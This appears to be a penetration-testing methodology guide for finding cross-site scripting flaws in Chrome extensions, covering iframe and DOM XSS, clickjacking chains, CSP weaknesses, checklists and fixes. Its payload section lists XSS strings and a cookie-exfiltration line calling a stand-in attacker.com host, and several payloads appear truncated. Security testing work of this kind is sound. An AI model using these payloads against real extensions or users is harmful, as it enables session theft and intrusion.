Browser Extension XSS Testing Methodology
This skill provides a systematic approach to identifying and testing Cross-Site Scripting (XSS) vulnerabilities in browser extensions, particularly Chrome extensions.
When to Use This Skill
Use this skill when:
- Testing browser extensions for security vulnerabilities
- Analyzing extension code for XSS risks
- Reviewing extension manifests for security misconfigurations
- Investigating web_accessible_resources exposure
- Testing Content Security Policy (CSP) effectiveness
- Performing penetration testing on extension-based applications
Core Vulnerability Patterns
1. Iframe-Based XSS
What to look for:
- Extensions that create iframes with user-controlled URLs
- Query parameters passed to iframe sources
- Dynamic content injection into iframe pages
Testing approach:
Identify iframe creation code:
// Look for patterns like: frame.src = constructedURL document.createElement("iframe") iframe.src = someDynamicValueCheck for parameter injection:
- Find where URL parameters are constructed
- Verify if user input flows into
?param=valueportions - Test with XSS payloads in parameter values
Test payload delivery:
// Example test payload let xssPayload = "<img src='invalid' let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`Verify CSP configuration:
- Check
manifest.jsonforcontent_security_policy - Look for
'unsafe-eval'or'unsafe-inline'directives - Test if scripts execute despite CSP
- Check
2. DOM-Based XSS
What to look for:
- Direct DOM manipulation with user input
- jQuery
.html()or.append()with untrusted data - String concatenation building HTML
- Input fields that affect page content
Testing approach:
Identify dangerous patterns:
// Vulnerable: string concatenation + DOM insertion element.html('<span>' + userInput + '</span>') element.append(userContent) document.body.innerHTML = userValueTest input fields:
- Find all
<input>elements in extension pages - Submit XSS payloads:
<img src=x> - Check if payload renders as HTML or text
- Find all
Check jQuery usage:
- jQuery's
.html()and.append()can execute scripts - These methods use
globalEval()internally - Test with script tags:
<script>alert(1)</script>
- jQuery's
Verify sanitization:
- Look for
.text()instead of.html() - Check for DOMPurify or similar sanitization
- Test if sanitization is bypassed
- Look for
3. ClickJacking + DOM XSS Combination
What to look for:
web_accessible_resourcesexposing HTML pages- Pages that can be framed (no X-Frame-Options)
- DOM XSS that requires user interaction
Testing approach:
Check web_accessible_resources:
// In manifest.json "web_accessible_resources": [ "html/bookmarks.html", // Vulnerable if framed "dist/*", "assets/*" ]Test framing capability:
- Create a test page with iframe pointing to extension page
- URL format:
chrome-extension://[extension-id]/[page-path] - Check if page loads in iframe
Combine with DOM XSS:
- If DOM XSS requires clicking a button
- Use clickjacking to force the click
- Overlay transparent iframe on attacker page
- Position to make user click extension button unknowingly
Test the attack chain:
// Create iframe with extension page let newFrame = document.createElement("iframe") newFrame.src = "chrome-extension://[id]/page.html?param=payload" document.body.append(newFrame)
Content Security Policy Analysis
Dangerous CSP Directives
| Directive | Risk | What it allows |
|---|---|---|
'unsafe-eval' |
High | eval(), Function() constructor |
'unsafe-inline' |
High | Inline <script> tags |
script-src * |
High | Scripts from any origin |
| Missing CSP | Medium | Default browser policies apply |
Testing CSP Bypass
Check manifest.json:
{ "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';" }Test eval-based execution:
// If 'unsafe-eval' is present, test: eval("alert('CSP bypass')") new Function("alert('CSP bypass')")()Test inline scripts:
// If 'unsafe-inline' is present, test: document.body.innerHTML = '<script>alert(1)</script>'
Testing Checklist
Manifest Analysis
- Review
content_security_policyfor unsafe directives - Check
web_accessible_resourcesfor exposed HTML pages - Verify
permissionsdon't grant excessive access - Look for
externally_connectableconfiguration
Code Review
- Search for
.html(),.append(),.innerHTMLwith variables - Find iframe creation with dynamic sources
- Identify URL parameter handling
- Check for
eval(),Function(),setTimeout()with strings - Look for
chrome.storagedata flowing to DOM
Runtime Testing
- Inject XSS payloads into all input fields
- Test URL parameters with encoded payloads
- Attempt to frame extension pages
- Verify CSP enforcement in DevTools console
- Check for console errors indicating blocked scripts
Payload Testing
Basic XSS:
<img src=x
<script>alert(1)</script>
<svg
Event Handler XSS:
<body
<div
<input autofocus>
Data Exfiltration:
<img src=https://attacker.com/steal?data=
```javascript
encodeURIComponent(document.cookie)
Common Extension Vulnerabilities
1. Storage Data Injection
// Vulnerable pattern
chrome.storage.local.get("userMessage", (result) => {
document.body.innerHTML = result.userMessage // XSS!
})
Fix: Use .text() or sanitize with DOMPurify
2. URL Parameter Injection
// Vulnerable pattern
let param = new URLSearchParams(window.location.search).get("content")
$("#output").html(param) // XSS!
Fix: Validate and sanitize all URL parameters
3. Web Accessible Resource Framing
// Vulnerable manifest
"web_accessible_resources": ["*.html"]
Fix: Limit to specific files, add X-Frame-Options headers
Remediation Guidelines
For Developers
Use safe DOM methods:
// Instead of .html() element.text(userInput) // Or sanitize element.html(DOMPurify.sanitize(userInput))Tighten CSP:
{ "content_security_policy": "script-src 'self'; object-src 'self';" }Limit web_accessible_resources:
{ "web_accessible_resources": [ {"resources": ["assets/*.png"], "matches": ["<all_urls>"]} ] }Validate all inputs:
- Never trust user input, storage data, or URL parameters
- Use allowlists for expected values
- Encode output based on context (HTML, JS, URL)
For Pentesters
Document findings clearly:
- Include vulnerable code snippets
- Show proof-of-concept payloads
- Explain impact and exploitation path
Prioritize by severity:
- DOM XSS with clickjacking: Critical
- Iframe XSS with unsafe-eval: High
- Stored XSS in extension storage: High
- Reflected XSS requiring interaction: Medium
Test in context:
- Verify attacks work in actual extension environment
- Check if CSP blocks the payload
- Confirm user interaction requirements
References
- When Extension Pages Are Web Accessible
- Steam Fire and Paste - UXSS via DOM XSS + Clickjacking
- Chrome Extension Security Best Practices
- Content Security Policy Level 3
Quick Start
When testing a browser extension:
- Download and inspect the extension - Extract
.crxor view source in Chrome - Review manifest.json - Check CSP and web_accessible_resources
- Search for dangerous patterns - Look for
.html(),.append(), iframe creation - Test input fields - Submit XSS payloads to all user inputs
- Test URL parameters - Modify query strings with encoded payloads
- Attempt framing - Try to load extension pages in iframes
- Verify CSP - Check if payloads execute or are blocked
- Document findings - Record vulnerable code and proof-of-concept